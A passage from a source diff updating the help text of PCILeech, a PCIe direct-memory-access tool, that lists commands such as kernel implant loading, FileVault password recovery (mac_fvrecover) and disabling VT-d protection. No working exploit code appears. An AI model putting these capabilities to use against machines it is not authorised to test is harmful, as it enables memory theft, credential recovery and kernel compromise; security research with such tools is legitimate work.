-help\n" \ " General syntax: pcileech.exe [- ] ... \n" \ " Valid commands and valid MODEs [ and options ]: \n" \ @@ -44,30 +45,32 @@ VOID Help_ShowGeneral() " [implant] KMD [ in, out, s, 0..9 ] \n" \ " kmdload DMA [ pt, cr3 ] \n" \ " kmdexit KMD \n" \ - " 8051start DMA,KMD [ in ] \n" \ - " 8051stop DMA,KMD \n" \ - " flash DMA,KMD [ in ] \n" \ + " mount KMD [ s ] \n" \ " pagedisplay DMA,KMD [ min ] \n" \ " pt_phys2virt DMA,KMD [ cr3, 0 ] \n" \ " testmemread DMA [ min ] \n" \ " testmemreadwrite DMA [ min ] \n" \ + " Device specific commands and valid MODEs [ and options ] (and device): \n" \ + " usb3380_flash DMA,KMD [ in ] (USB3380) \n" \ + " usb3380_8051start DMA,KMD [ in ] (USB3380) \n" \ + " usb3380_8051stop DMA,KMD (USB3380) \n" \ + " tlp DMA [ in ] (SP605) \n" \ " System specific commands and valid MODEs [ and options ]: \n" \ " mac_fvrecover DMA \n" \ + " mac_fvrecover2 DMA \n" \ + " mac_disablevtd DMA \n" \ " Valid options: \n" \ " -min : memory min address, valid range: 0x0..0xffffffffffffffff \n" \ " default: 0x0 \n" \ - " For memory accesses over 0xffffffff KMD must be loaded. \n" \ - " note that the address must be given in hexadecimal format. \n" \ " -max : memory max address, valid range: 0x0..0xffffffffffffffff \n" \ - " default: 0xffffffff (4GB) in standard mode \n" \ - " default: actual memory size in KMD mode \n" \ - " For memory accesses over 0xffffffff KMD must be loaded. \n" \ - " note that the address must be given in hexadecimal format. \n" \ + " default: (0xffffffff/4GB for USB3380) \n" \ + " default: actual memory size in KMD mode. \n" \ " -out : name of output file. \n" \ " default: pcileech----